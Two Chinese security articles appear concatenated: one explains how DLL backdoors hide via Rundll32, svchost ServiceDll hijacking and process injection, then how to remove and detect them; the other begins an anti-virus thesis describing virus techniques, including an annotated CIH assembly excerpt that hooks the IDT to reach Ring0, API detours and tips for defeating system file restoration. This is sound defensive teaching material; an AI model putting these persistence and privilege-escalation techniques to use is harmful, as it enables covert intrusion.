把一个实现了后门功能的代码写成一个DLL文件，然后插入到一个EXE文件当中，使其可以执行，这样就不需要占用进程，也就没有相对应的PID号，也就可以在任务管理器中隐藏。DLL文件本身和EXE文件相差不大，但必须使用程序（EXE）调用才能执行DLL文件。DLL文件的执行，需要EXE文件加载，但EXE想要加载DLL文件，需要知道一个DLL文件的入口函数（既DLL文件的导出函数），所以，根据DLL文件的编写标准：EXE必须执行DLL文件中的DLLMain（）作为加载的条件（如同EXE的mian（））。做DLL后门基本分为两种：1）把所有功能都在DLL文件中实现；2）把DLL做成一个启动文件，在需要的时候启动一个普通的EXE后门。
常见的编写方法：
(1)，只有一个DLL文件
这类后门很简单，只把自己做成一个DLL文件，在注册表Run键值或其他可以被系统自动加载的地方，使用Rundll32.exe来自动启动。Rundll32.exe是什么？顾名思意，“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数，这样在进程当中，只会有Rundll32.exe，而不会有DLL后门的进程，这样，就实现了进程上的隐藏。如果看到系统中有多个Rundll32.exe，不必惊慌，这证明用Rundll32.exe启动了多少个的DLL文件。当然，这些Rundll32.exe执行的DLL文件是什么，我们都可以从系统自动加载的地方找到。
现在，我来介绍一下Rundll32.exe这个文件，意思上边已经说过，功能就是以命令行的方式调用动态链接程序库。系统中还有一个Rundll.exe文件，他的意思是“执行16位的DLL文件”，这里要注意一下。在来看看Rundll32.exe使用的函数原型：
Void CALLBACK FunctionName (
HWND hwnd,
HINSTANCE hinst,
LPTSTR lpCmdLine,
Int nCmdShow
);
其命令行下的使用方法为：Rundll32.exe DLLname,Functionname [Arguments]
DLLname为需要执行的DLL文件名；Functionname为前边需要执行的DLL文件的具体引出函数；[Arguments]为引出函数的具体参数。
(2)，替换系统中的DLL文件
这类后门就比上边的先进了一些，它把实现了后门功能的代码做成一个和系统匹配的DLL文件，并把原来的DLL文件改名。遇到应用程序请求原来的DLL文件时， DLL后门就启一个转发的作用，把“参数”传递给原来的DLL文件；如果遇到特殊的请求时（比如客户端），DLL后门就开始，启动并运行了。对于这类后门，把所有操作都在DLL文件中实现最为安全，但需要的编程知识也非常多，也非常不容易编写。所以，这类后门一般都是把DLL文件做成一个“启动”文件，在遇到特殊的情况下（比如客户端的请求），就启动一个普通的EXE后门；在客户端结束连接之后，把EXE后门停止，然后DLL文件进入“休息”状态，在下次客户端连接之前，都不会启动。但随着微软的“数字签名”和“文件恢复”的功能出台，这种后门已经逐步衰落。
提示：
在WINNT\system32目录下，有一个dllcache文件夹，里边存放着众多DLL文件（也包括一些重要的EXE文件），在DLL文件被非法修改之后，系统就从这里来恢复被修改的DLL文件。如果要修改某个DLL文件，首先应该把dllcache目录下的同名DLL文件删除或更名，否则系统会自动恢复。
(3)，动态嵌入式
这才是DLL后门最常用的方法。其意义是将DLL文件嵌入到正在运行的系统进程当中。在Windows系统中，每个进程都有自己的私有内存空间，但还是有种种方法来进入其进程的私有内存空间，来实现动态嵌入式。由于系统的关键进程是不能终止的，所以这类后门非常隐蔽，查杀也非常困难。常见的动态嵌入式有：“挂接API”“全局钩子（HOOK）”“远程线程”等。
远程线程技术指的是通过在一个进程中创建远程线程的方法来进入那个进程的内存地址空间。当EXE载体（或Rundll32.exe）在那个被插入的进程里创建了远程线程，并命令它执行某个DLL文件时，我们的DLL后门就挂上去执行了，这里不会产生新的进程，要想让DLL后门停止，只有让这个链接DLL后门的进程终止。但如果和某些系统的关键进程链接，那就不能终止了，如果你终止了系统进程，那Windows也随即被终止！！！
3，DLL后门的启动特性
启动DLL后门的载体EXE是不可缺少的，也是非常重要的，它被称为：Loader。如果没有Loader，那我们的DLL后门如何启动呢？因此，一个好的DLL后门会尽力保护自己的Loader不被查杀。Loader的方式有很多，可以是为我们的DLL后门而专门编写的一个EXE文件；也可以是系统自带的Rundll32.exe，即使停止了Rundll32.exe，DLL后门的主体还是存在的。3721网络实名就是一个例子，虽然它并不是“真正”的后门。
二，DLL的清除
本节以三款比较有名的DLL后门例，分别为“SvchostDLL.dll”“BITS.dll”“QoServer.dll”。详细讲解其手工清除方法。希望大家在看过这三款DLL后门的清除方法之后，能够举一反三，灵活运用，在不惧怕DLL后门。其实，手工清除DLL后门还是比较简单的，无非就是在注册表中做文章。具体怎么做，请看下文。
1，PortLess BackDoor
这是一款功能非常强大的DLL后门程序，除了可以获得Local System权限的Shell之外，还支持如“检测克隆帐户”“安装终端服务”等一系列功能（具体可以参见程序帮助），适用Windows2000/xp/2003等系统。程序使用svchost.exe来启动，平常不开端口，可以进行反向连接（最大的特点哦），对于有防火墙的主机来说，这个功能在好不过了。
在介绍清除方法之前，我们先来简单的介绍一下svchost.exe这个系统的关键服务：
Svchost只是做为服务的宿主，本身并不实现什么功能，如果需要使用Svchost来启动服务，则某个服务是以DLL形式实现的，该DLL的载体Loader指向svchost，所以，在启动服务的时候由svchost调用该服务的DLL来实现启动的目的。使用svchost启动某个服务的DLL文件是由注册表中的参数来决定的，在需要启动服务的下边都有一个Parameters子键，其中的ServiceDll表明该服务由哪个DLL文件负责，并且这个DLL文件必须导出一个ServiceMain()函数，为处理服务任务提供支持。
呵呵！看了上边的理论，是不是有点蒙（我都快睡着了），别着急，我们来看看具体的内容（如图1）。从图1中，我们可以看到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs下的Parameters子键，其键值为%SystemRoot%\system32\rpcss.dll。这就说明：启动RpcSs服务时。Svchost调用WINNT\system32目录下的rpcss.dll。
在来看看图2，这是注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost，里边存放着Svchost启动的组和组内的各个服务，其中netsvcs组的服务最多。要使用Svchost启动某个服务，则该服务名就会出现在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下。这里有四种方法来实现：
1， 添加一个新的组，在组里添加服务名
2， 在现有组里添加服务名
3， 直接使用现有组里的一个服务名，但是本机没有安装的服务
4， 修改现有组里的现有服务，把它的ServiceDll指向自己的DLL后门
我测试的PortLess BackDoor使用的第三种方法。
好了，我想大家看完了上边的原理，一定可以想到我们清除PortLess BackDoor的方法了，对，就是在注册表的Svchost键下做文章。好，我们现在开始。
注：由于本文只是介绍清除方法，使用方法在此略过。
后门的Loader把SvchostDLL.dll插入Svchost进程当中，所以，我们先打开Windows优化大师中的Windows进程管理2.5，查看Svchost进程中的模块信息（如图3），从图3中我们可以看到，SvchostDLL.dll已经插入到Svchost进程中了，在根据“直接使用现有组里的一个服务名，但是本机没有安装的服务”的提示，我们可以断定，在“管理工具”—“服务”中会有一项新的服务。图4证明了我的说法，此服务名称为：IPRIP，由Svchost启动，-k netsvcs表示此服务包含在netsvcs服务组中。
我们把该服务停掉，然后打开注册表编辑器（开始—运行--regedit），来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IPRIP下，查看其Parameters子键（如图5）。Program键的键值SvcHostDLL.exe为后门的Loader；ServiceDll的键值C:\WINNT\system32\svchostdll.dll为调用的DLL文件，这正是后门的DLL文件。现在我们删除IPRIP子键（或者用SC来删除），然后在来到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下，编辑netsvcs服务组，把49 00 70 00 72 00 69 00 70 00 00 00删除，这里对应的就是IPRIP的服务名，具体如图6所示。然后退出，重启。重启之后删除WINNT\system32目录下的后门文件即可。
2，BITS.dll
这是榕哥的作品，也是DLL后门，和SvchostDLL.dll原理基本一样，不过这里使用的是上边介绍的第四种方法，即“修改现有组里的现有服务，把它的ServiceDll指向自己的DLL后门”。换句话说，该后门修改现有的某一个服务，把其原有服务的DLL指向自己（也就是BITS.dll），这样就达到了自动加载的目的；其次，该后门没有自己的Loader，而是使用系统自带的Rundll32.exe来加载。我们还是用Windows 进程管理2.5来查看，从图7中，我们可以看到bits.dll已经插入到Svchost进程当中。
好，现在我们来看看具体的清除方法，由于该后门是修改现有服务，而我们并不知道具体是修改了哪个服务，所以，在注册表中搜索bits.dll，最后在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto下搜索到了bits.dll，查看Parameters子键下的ServiceDll，其键值为C:\WINNT\system32\bits.dll（如图8）。原来，该后门把RasAuto服务原来的DLL文件替换为bits.dll了，这样来实现自动加载。知道了原因就好办了，现在我们把ServiceDll的键值修改为RasAuto服务原有的DLL文件，即%SystemRoot%\System32\rasauto.dll，退出，重启。之后删除WINNT\system32目录下的bits.dll即可。
3，NOIR--QUEEN
NOIR--QUEEN(守护者)是一个DLL后门&木马程序，服务端以DLL文件的形式插入到系统的Lsass.exe进程里，由于Lsass.exe是系统的关键进程，所以不能终止。在来介绍清除方法之前，我先介绍一下Lsass.exe进程：
这是一个本地的安全授权服务，并且它会为使用Winlogon服务的授权用户生成一个进程，如果授权是成功的，Lsass就会产生用户的进入令牌，令牌使用启动初始 的Shell。其他的由用户初始化的进程会继承这个令牌。
从上边的介绍我们就可以看出Lsass对系统的重要性，那具体怎么清除呢？请看下文。
后门在安装成功后，会在服务中添加一个名为QoSserver的服务，并把QoSserver.dll后门文件插入到Lsass进程当中，使其可以隐藏进程并自动启动（如图9）。现在我们打开注册表，来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\QoSserver，直接删除QoSserver键，然后重启。重启之后，我们在来到服务列表中，会看到QoSserver服务还在，但没有启动，类别是自动，我们把他修改为“已禁用”；然后往上看，会发现一个服务名为AppCPI的服务，其可执行程序指向QoSserver.exe（原因后边我会说到），具体如图11所示。我们再次打开注册表，来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AppCPI，删除AppCPI键，重启，再删除QoSserver，最后删除WINNT\system32目录下的后门文件。
本人和这个后门“搏斗”了3个多小时，重启N次。原因在于即使删除了QoSserver服务，后门还是在运行，而且服务列表中的QoSserver服务又“死灰复燃”。后来才知道原因：在我删除了QoSserver服务并重启之后，插入到Lsass进程当中的QoSserver.dll文件又恢复了QoSserver服务，并且生成了另外一个服务，即AppCPI，所以我们必须在到注册表中删除AppCPI服务才算是把该后门清除。由此可以看出，现在的后门的保护措施，真是一环扣环。
注意：在删除QoSserver服务并重启之后，恢复的QoSserver的启动类别要修改为“已禁用”，否则即便删除了AppCPI服务，QoSserver服务又运行了。
三，DLL的防范
看了上边的例子，我想大家对清除DLL后门的方法有了一定的了解，但在现实中，DLL后门并不会使用默认的文件名，所以你也就不能肯定是否中了DLL后门。对于DLL后门，system32目录下是个好地方，大多数后门也是如此，所以这里要非常注意。下面我来具体介绍一下怎么发现DLL后门，希望对大家有所帮助。
1，安装好系统和所有的应用程序之后，备份system32目录下的EXE和DLL文件：打开CMD，来到WINNT\system32目录下，执行：dir *.exe>exe.txt & dir *.dll>dll.txt，这样，就会把所有的EXE和DLL文件备份到exe.txt和dll.txt文件中；日后，如发现异常，可以使用相同的命令再次备份EXE和DLL文件(这里我们假设是exe0.txt和dll0.txt)，并使用：fc exe.txt exe0.txt>exedll.txt & fc dll.txt dll0.txt>exedll.txt，其意思为使用FC命令比较两次的EXE文件和DLL文件，并将比较结果保存到exedll.txt文件中。通过这种方法，我们就可以发现多出来的EXE和DLL文件，并通过文件大小，创建时间来判断是否是DLL后门。
2，使用内存/模块工具来查看进程调用的DLL文件，比如Windows优化大师中的Windows 进程管理 2.5。这样，可以发现进程到底调用了什么DLL文件，在结合上边用FC命令比较出来的结果，又能进一步来确定是否中了DLL后门。如果没有优化大师，可以使用TaskList，这个小工具也可以显示进程调用的DLL文件，而且还有源代码，方便修改。
3，普通后门连接需要打开特定的端口，DLL后门也不例外，不管它怎么隐藏，连接的时候都需要打开端口。我们可以用netstat –an来查看所有TCP/UDP端口的连接，以发现非法连接。大家平时要对自己打开的端口心中有数，并对netstat –an中的state属性有所了解。当然，也可以使用Fport来显示端口对应的进程，这样，系统有什么不明的连接和端口，都可以尽收眼底。
4，定期检查系统自动加载的地方，比如：注册表，Winstart.bat，Autoexec.bat，win.ini，system.ini，wininit.ini，Autorun.inf，Config.sys等。其次是对服务进行管理，对系统默认的服务要有所了解，在发现有问题的服务时，可以使用Windows 2000 Server Resource Kit中的SC来删除。以上这些地方都可以用来加载DLL后门的Loader，如果我们把DLL后门Loader删除了，试问？DLL后门还怎么运行？！
通过使用上边的方法，我想大多数DLL后门都可以“现形”，如果我们平时多做一些备份，那对查找DLL后门会启到事半功倍的效果。
后记
本文详细的介绍了DLL后门的一些知识。其实，从上文中不难看出，DLL后门并没有想象的这么可怕，清除起来也比较简单。在文章中的开头我以说到：旨在能让大家对DLL后门“快速上手”，所以，希望这篇拙文能对大家有所帮助，文中如有错误，还请大家多多包涵，谢谢！最后，给大家拜个年，祝大家幸福快乐。


反病毒技术

信息来源：GSU
反计算机病毒做为计算机安全问题的一个重要组成部分已日益受到人们的重视。本文将对当今先进的病毒/反病毒技术做全面而细致的介绍，重点当然放在了反病毒上，特别是虚拟机和实时监控技术。
在论文中我将首先介绍几种当今较为流行的病毒技术，包括获取系统核心态特权级，驻留，截获系统操作，变形和加密等。然后我将分五节详细讨论虚拟机技术：第一节简单介绍一下虚拟机的概论；第二节介绍加密变形病毒，我会分析两个著名变形病毒的解密子；第三节是虚拟机实现技术详解，其中会对两种不同方案进行比较，同时将剖析一个查毒用虚拟机的总体控制结构；第四节主要是对特定指令处理函数的分析；最后在第五节中我列出了一些反虚拟执行技术做为今后改进的参照。论文的第三章主要介绍实时监控技术，由于win9x和winnt/2000系统机制和驱动模型不同，所以我将会分成两个操作系统进行讨论。其中涉及的技术很广泛：包括驱动编程技术，文件钩挂，特权级间通信等等。
总之，本论文介绍的技术涉及操作系统底层机制，难度较大；本论文提供的代码，包括一个虚拟机C语言源代码和两个病毒实时监控驱动程序反汇编代码，具有一定的研究和实用价值。
关键字：病毒，虚拟机，实时监控
1．绪 论
本论文研究的主要内容正如其题目所示是设计并编写一个先进的反病毒引擎。首先需要对这“先进”二字做一个解释，何为“先进”？众所周知，传统的反病毒软件使用的是基于特征码的静态扫描技术，即在文件中寻找特定十六进制串，如果找到，就可判定文件感染了某种病毒。但这种方法在当今病毒技术迅猛发展的形势下已经起不到很好的作用了。原因我会在以下的章节中具体描述。因此本论文将不对杀毒引擎中的特征码扫描和病毒代码清除模块做分析。我们要讨论的是为应付先进的病毒技术而必需的两大反病毒技术--虚拟机和实时监控技术。具体什么是虚拟机，什么是实时监控，我会在相应的章节中做详尽的介绍。这里我要说明的一点是，这两项技术虽然在前人的工作中已有所体现（被一些国内外先进的反病毒厂家所使用），但出于商业目的，这些技术并没有被完全公开，所以你无论从书本文献还是网路上的资料中都无法找到关于这些技术的内幕。而我会在相关的章节中剖析大量的程序源码（主要是2.4节中的一个完整的虚拟机源码）或是逆向工程代码（3.3.3节和3.4.3节中三个我逆向工程的某著名反病毒软件的实时监控驱动程序及客户程序的反汇编代码），并同时公布一些我个人挖掘的操作系统内部未公开的机制和数据结构。另外我在文中会大量地提到或引用一些关于系统底层奥秘的大师级经典图书，这算是给喜爱系统级编程但又苦于找不到合适教材的朋友开了一份书单。下面就开始进入论文的正题。
1.1课题背景
本论文涉及的两个主要技术，也是当今反病毒界使用的最为先进的技术中的两个，究竟是作何而用的呢？首先说说虚拟机技术，它主要是为查杀加密变形病毒而设计的。简单地来说，所谓虚拟机并不是个虚拟的机器，说得更合适一些应该是个虚拟CPU（用软件实现的CPU），只不过病毒界都这么叫而已。它的作用主要是模拟INTEL X86 CPU的工作过程来解释执行可执行代码，与真正的CPU一样能够取指，译码并执行相应机器指令规定的操作。当然什么是加密变形病毒，它们为什么需要被虚拟执行以及怎样虚拟执行等问题会在合适的章节中得到解答。再说另一个重头戏--实时监控技术，它的用处更为广泛，不仅局限于查杀病毒。被实时监控的对象也很多，如中断（Intmon），页面错误（Pfmon），磁盘访问（Diskmon）等等。用于杀毒的监控主要是针对文件访问，在你要对一个文件进行访问时，实时监控会先检查文件是否为带毒文件，若是，则由用户选择是清除病毒还是取消此次操作请求。这样就给了用户一个相对安全的执行环境。但同时，实时监控会使系统性能有所下降，不少杀毒软件的用户都抱怨他们的实时监控让系统变得奇慢无比而且不稳定。这就给我们的设计提出了更高的要求，即怎样在保证准确拦截文件操作的同时，让实时监控占用的系统资源更少。我会在病毒实时监控一节中专门讨论这个问题。这两项技术在国内外先进的反病毒厂家的产品中都有使用，虽然它们的源代码没有公开，但我们还是可以通过逆向工程的方法来窥视一下它们的设计思路。其实你用一个十六进制编辑器来打开它们的可执行文件，也许就会看到一些没有剥掉的调试符号、变量名字或输出信息，这些蛛丝马迹对于理解代码的意图大有裨益。同时，在反病毒软件的安装目录中后缀为.VXD或.SYS就是执行实时监控的驱动程序，可以拿来逆向一下（参看我在后面分析驱动源代码中的讨论）。相信至此，我们对这两项技术有了一个大体的了解。后面我们将深入到技术的细节中去。
1.2当今病毒技术的发展状况
要讨论怎样反病毒，就必须从病毒技术本身的讨论开始。正是所谓“知己知彼，百战不殆”。其实，我认为目前规定研究病毒技术属于违法行为存在着很大的弊端。很难想象一个毫无病毒写作经验的人会成为杀毒高手。据我了解，目前国内一些著名反病毒软件公司的研发队伍中不乏病毒写作高手。只不过他们将同样的技术用到了正道上，以‘毒’攻‘毒’。所以我希望这篇论文能起到抛砖引玉的作用，期待着有更多的人会将病毒技术介绍给大众。当今的病毒与DOS和WIN3.1时代下的从技术角度上看有很多不同。我认为最大的转变是：引导区病毒减少了，而脚本型病毒开始泛滥。原因是在当今的操作系统下直接改写磁盘的引导区会有一定的难度（DOS则没有保护，允许调用INT13直接写盘），而且引导区的改动很容易被发现，所以很少有人再写了；而脚本病毒以其传播效率高且容易编写而深得病毒作者的青睐。当然由于这两种病毒用我上面说过的基于特征码的静态扫描技术就可以查杀，所以不在我们的讨论之列。我要讨论的技术主要来自于二进制外壳型病毒（感染文件的病毒），并且这些技术大都和操作系统底层机制或386以上CPU的保护模式相关，所以值得研究。大家都知道DOS下的外壳型病毒主要感染16位的COM或EXE文件，由于DOS没有保护，它们能够轻松地进行驻留，减少可用内存（通过修改MCB链），修改系统代码，拦截系统服务或中断。而到了WIN9X和WINNT/2000时代，想写个运行其上的32位WINDOWS病毒绝非易事。由于页面保护，你不可能修改系统的代码页。由于I/O许可位图中的规定，你也不能进行直接端口访问。在WINDOWS中你不可能象在DOS中那样通过截获INT21H来拦截所有文件操作。总之，你以一个用户态程序运行，你的行为将受到操作系统严格的控制，不可能再象DOS下那样为所欲为了。另外值得一提的是，WINDOWS下采用的可执行文件格式和DOS下的EXE截然不同（普通程序采用PE格式，驱动程序采用LE），所以病毒的感染文件的难度增大了（PE和LE比较复杂，中间分了若干个节，如果感染错了，将导致文件不能继续执行）。因为当今病毒的新技术太多，我不可能将它们逐一详细讨论，于是就选取了一些重要并具有代表性的在本章的各小节中进行讨论。
1.2.1系统核心态病毒
在介绍什么是系统核心态病毒之前，有必要讨论一下核心态与用户态的概念。其实只要随便翻开一本关于386保护模式汇编程序设计的教科书，都可以找到对这两个概念的讲述。386及以上的CPU实现了4个特权级模式（WINDOWS只用到了其中两个），其中特权级0（Ring0）是留给操作系统代码，设备驱动程序代码使用的，它们工作于系统核心态；而特权极3（Ring3）则给普通的用户程序使用，它们工作在用户态。运行于处理器核心态的代码不受任何的限制，可以自由地访问任何有效地址，进行直接端口访问。而运行于用户态的代码则要受到处理器的诸多检查，它们只能访问映射其地址空间的页表项中规定的在用户态下可访问页面的虚拟地址，且只能对任务状态段（TSS）中I/O许可位图（I/O Permission Bitmap）中规定的可访问端口进行直接访问（此时处理器状态和控制标志寄存器EFLAGS中的IOPL通常为0，指明当前可以进行直接I/O的最低特权级别是Ring0）。以上的讨论只限于保护模式操作系统，象DOS这种实模式操作系统则没有这些概念，其中的所有代码都可被看作运行在核心态。既然运行在核心态有如此之多的优势，那么病毒当然没有理由不想得到Ring0。处理器模式从Ring3向Ring0的切换发生在控制权转移时，有以下两种情况：访问调用门的长转移指令CALL，访问中断门或陷阱门的INT指令。具体的转移细节由于涉及复杂的保护检查和堆栈切换，不再赘述，请参阅相关资料。现代的操作系统通常使用中断门来提供系统服务，通过执行一条陷入指令来完成模式切换，在INTEL X86上这条指令是INT，如在WIN9X下是INT30（保护模式回调），在LINUX下是INT80，在WINNT/2000下是INT2E。用户模式的服务程序（如系统DLL）通过执行一个INTXX来请求系统服务，然后处理器模式将切换到核心态，工作于核心态的相应的系统代码将服务于此次请求并将结果传给用户程序。下面就举例子说明病毒进入系统核心态的方法。
在WIN9X下进程虚拟地址空间中映射共享系统代码的部分（3G--4G）中除了最上面4M页表有页面保护外其它地方可由用户程序读写。如果你用Softice（系统级调试器）的PAGE命令查看这些地址的页属性，则你会惊奇地发现U RW位，这说明这些地址可从用户态直接读出或写入。这意味着任何一个用户程序都能够在其运行过程中恶意或无意地破坏操作系统代码页。由此病毒就可以在GDT（全局描述符表），LDT（局部描述符表）中随意构造门描述符并借此进入核心态。当然，也不一定要借助门描述，还有许多方法可以得到Ring0。据我所知的方法就不下10余种之多,如通过调用门（Callgate），中断门（Intgate），陷阱门（Trapgate），异常门（Fault），中断请求（IRQs），端口（Ports），虚拟机管理器（VMM），回调（Callback），形式转换（Thunks），设备IO控制（DeviceIOControl）,API函数（SetThreadContext） ,中断2E服务（NTKERN.VxD）。由于篇幅的限制我不可能将所有的方法逐一描述清楚，这里我仅选取最具有代表性的CIH病毒1.5版开头的一段代码。
人们常说CIH病毒运用了VXD（虚拟设备驱动）技术，其实它本身并不是VXD。只不过它利用WIN9X上述漏洞，在IDT（中断描述符表）中构造了一个DPL（段特权级）为3的中断门（意味着可以从Ring3下执行访问该中断门的INT指令），并使描述符指向自己私有地址空间中的一个需要工作在Ring0下的函数地址。这样一来CIH就可以通过简单的执行一条INTXX指令（CIH选择使用INT3，是为了使同样接挂INT3的系统调试器Softice无法正常工作以达到反跟踪的目的）进入系统核心态，从而调用系统的VMM和VXD服务。以下是我注释的一段CIH1.5的源代码：
; *************************************
; * 修改IDT以求得核心态特权级 *
; *************************************
push eax
sidt [esp-02h] ；取得IDT表基地址
pop ebx
add ebx, HookExceptionNumber*08h+04h ；ZF = 0
cli ；读取修改系统数据时先禁止中断
mov ebp, [ebx]
mov bp, [ebx-04h] ；取得原来的中断入口地址
lea esi, MyExceptionHook-@1[ecx] ；取得需要工作在Ring0的函数的偏移地址
push esi
mov [ebx-04h], si
shr esi, 16
mov [ebx+02h], si ；设置为新的中断入口地址
pop esi
; *************************************
; * 产生一个异常来进入Ring0 *
; *************************************
int HookExceptionNumber ；产生一个异常
当然，后面还有恢复原来中断入口地址和异常处理帧的代码。
刚才所讨论的技术仅限于WIN9X，想在WINNT/2000下进入Ring0则没有这么容易。主要的原因是WINNT/2000没有上述的漏洞，它们的系统代码页面（2G--4G）有很好的页保护。大于0x80000000的虚拟地址对于用户程序是不可见的。如果你用Softice的PAGE命令查看这些地址的页属性，你会发现S位，这说明这些地址仅可从核心态访问。所以想在IDT，GDT随意构造描述符，运行时修改内核是根本做不到的。所能做的仅是通过加载一个驱动程序，使用它来做你在Ring3下做不到的事情。病毒可以在它们加载的驱动中修改内核代码，或为病毒本身创建调用门（利用NT由Ntoskrnl.exe导出的未公开的系统服务KeI386AllocateGdtSelectors，KeI386SetGdtSelector，KeI386ReleaseGdtSelectors）。如Funlove病毒就利用驱动来修改系统文件（Ntoskrnl.exe，Ntldr）以绕过安全检查。但这里面有两个问题，其一是驱动程序从哪里来，现代病毒普遍使用一个称为“Drop”的技术，即在病毒体本身包含驱动程序二进制码（可以进行压缩或动态构造文件头），在病毒需要使用时，动态生成驱动程序并将它们扔到磁盘上，然后马上通过在SCM（服务控制管理器）注册并最终调用StartService来使驱动程序得以运行；其二是加载一个驱动程序需要管理员身份，普通帐号在调用上述的加载函数时会返回失败（安全子系统要检查用户的访问令牌（Token）中有无SeLoadDriverPrivilege特权），但多数用户在大多时候登录时会选择管理员身份，否则连病毒实时监控驱动也同样无法加载，所以留给病毒的机会还是很多的。
1.2.2驻留病毒
驻留病毒是指那些在内存中寻找合适的页面并将病毒自身拷贝到其中且在系统运行期间能够始终保持病毒代码的存在。驻留病毒比那些直接感染（Direct-action）型病毒更具隐蔽性，它通常要截获某些系统操作来达到感染传播的目的。进入了核心态的病毒可以利用系统服务来达到此目的，如CIH病毒通过调用一个由VMM导出的服务VMMCALL _PageAllocate在大于0xC0000000的地址上分配一块页面空间。而处于用户态的程序要想在程序退出后仍驻留代码的部分于内存中似乎是不可能的，因为无论用户程序分配何种内存都将作为进程占用资源的一部分，一旦进程结束，所占资源将立即被释放。所以我们要做的是分配一块进程退出后仍可保持的内存。
病毒写作小组29A的成员GriYo 运用的一个技术很有创意：他通过CreateFileMappingA 和MapViewOfFile创建了一个区域对象并映射它的一个视口到自己的地址空间中去，并把病毒体搬到那里，由于文件映射所在的虚拟地址处于共享区域（能够被所有进程看到，即所有进程用于映射共享区内虚拟地址的页表项全都指向相同的物理页面），所以下一步他通过向Explorer.exe中注入一段代码（利用WriteProcessMemory来向其它进程的地址空间写入数据），而这段代码会从Explorer.exe的地址空间中再次申请打开这个文件映射。如此一来，即便病毒退出，但由于Explorer.exe还对映射页面保持引用，所以一份病毒体代码就一直保持在可以影响所有进程的内存页面中直至Explorer.exe退出。
另外还可以通过修改系统动态连接模块（DLL）来进行驻留。WIN9X下系统DLL（如Kernel32.dll 映射至BFF70000）处于系统共享区域（2G-3G），如果在其代码段空隙中写入一小段病毒代码则可以影响其它所有进程。但Kernel32.dll的代码段在用户态是只能读不能写的。所以必须先通过特殊手段修改其页保护属性；而在WINNT/2000下系统DLL所在页面被映射到进程的私有空间（如Kernel32.dll 映射至77ED0000）中，并具有写时拷贝属性，即没有进程试图写入该页面时，所有进程共享这个页面；而当一个进程试图写入该页面时，系统的页面错误处理代码将收到处理器的异常，并检查到该异常并非访问违例，同时分配给引发异常的进程一个新页面，并拷贝原页面内容于其上且更新进程的页表以指向新分配的页。这种共享内存的优化给病毒的写作带来了一定的麻烦，病毒不能象在WIN9X下那样仅修改Kernel32.dll一处代码便可一劳永逸。它需要利用WriteProcessMemory来向每个进程映射Kernel32.dll的地址写入病毒代码，这样每个进程都会得到病毒体的一个副本，这在病毒界被称为多进程驻留或每进程驻留（Muti-Process Residence or Per-Process Residence ）。
1.2.3截获系统操作
截获系统操作是病毒惯用的伎俩。DOS时代如此，WINDOWS时代也不例外。在DOS下，病毒通过在中断向量表中修改INT21H的入口地址来截获DOS系统服务（DOS利用INT21H来提供系统调用，其中包括大量的文件操作）。而大部分引导区病毒会接挂INT13H（提供磁盘操作服务的BIOS中断）从而取得对磁盘访问的控制。WINDOWS下的病毒同样找到了钩挂系统服务的办法。比较典型的如CIH病毒就是利用了IFSMGR.VXD（可安装文件系统）提供的一个系统级文件钩子来截获系统中所有文件操作，我会在相关章节中详细讨论这个问题，因为WIN9X下的实时监控也主要利用这个服务。除此之外，还有别的方法。但效果没有这个系统级文件钩子好，主要是不够底层，会丢失一些文件操作。
其中一个方法是利用APIHOOK，钩挂API函数。其实系统中并没有现成的这种服务，有一个SetWindowsHookEx可以钩住鼠标消息，但对截获API函数则无能为力。我们能做的是自己构造这样的HOOK。方法其实很简单：比如你要截获Kernel32.dll导出的函数CreateFile，只须在其函数代码的开头（BFF7XXXX）加入一个跳转指令到你的钩子函数的入口，在你的函数执行完后再跳回来。如下图所示：
;; Target Function（要截获的目标函数）
……
TargetFunction:（要截获的目标函数入口）
jmp DetourFunction（跳到钩子函数，5个字节长的跳转指令）
TargetFunction+5:
push edi
……
;; Trampoline（你的钩子函数）
……
TrampolineFunction:（你的钩子函数执行完后要返回原函数的地方）
push ebp
mov ebp,esp
push ebx
push esi（以上几行是原函数入口处的几条指令，共5个字节）
jmp TargetFunction+5（跳回原函数）
……
但这种方法截获的仅仅是很小一部分文件打开操作。
在WIN9X下还有一个鲜为人知的截获文件操作的办法，说起来这应该算是WIN9X的一大后门。它就是Kernel32.dll中一个未公开的叫做VxdCall0的API函数。反汇编这个函数的代码如下：
mov eax,dword ptr [esp+00000004h] ；取得服务代号
pop dword ptr [esp] ；堆栈修正
call fword ptr cs:[BFFC9004] ；通过一个调用门调用3B段某处的代码
如果我们继续跟踪下去，则会看到：
003B:XXXXXXXX int 30h ；这是个用以陷入VWIN32.VXD的保护模式回调
有关VxdCall的详细内容，请参看Matt Pietrek的《Windows 95 System Programming Secrets》。
当服务代号为0X002A0010时，保护模式回调会陷入VWIN32.VXD中一个叫做VWIN32_Int21Dispatch的服务。这正说明了WIN9X还在依赖于MSDos，尽管微软声称WIN9X不再依赖于MSDos。调用规范如下：
my_int21h:push ecx
push eax ；类似DOS下INT21H的AX中传入的功能号
push 002A0010h
call dword ptr [ebp+a_VxDCall]
ret
我们可以将上面VxdCall0函数的入口处第三条远调用指令访问的Kernel32.dll数据段中用户态可写地址BFFC9004处存储的'FWORD'六个字节改为指向我们自己钩子函数的地址，并在钩子中检查传入服务号和功能号来确定是否是请求VWIN32_Int21Dispatch中的某个文件服务。著名的HPS病毒就利用了这个技术在用户态下直接截获系统中的文件操作，但这种方法截获的也仅仅是一小部分文件操作。
1.2.4加密变形病毒
加密变形病毒是虚拟机一章的重点内容，将放到相关章节中介绍。
1.2.5反跟踪/反虚拟执行病毒
反跟踪/反虚拟执行病毒和虚拟机联系密切，所以也将放到相应的章节中介绍。
1.2.6直接API调用
直接API调用是当今WIN32病毒常用的手段，它指的是病毒在运行时直接定位API函数在内存中的入口地址然后调用之的一种技术。普通程序进行API调用时，编译器会将一个API调用语句编译为几个参数压栈指令后跟一条间接调用语句（这是指Microsoft编译器，Borland编译器使用JMP DWORD PTR [XXXXXXXXh]）形式如下：
push arg1
push arg2
.…..
call dword ptr[XXXXXXXXh]
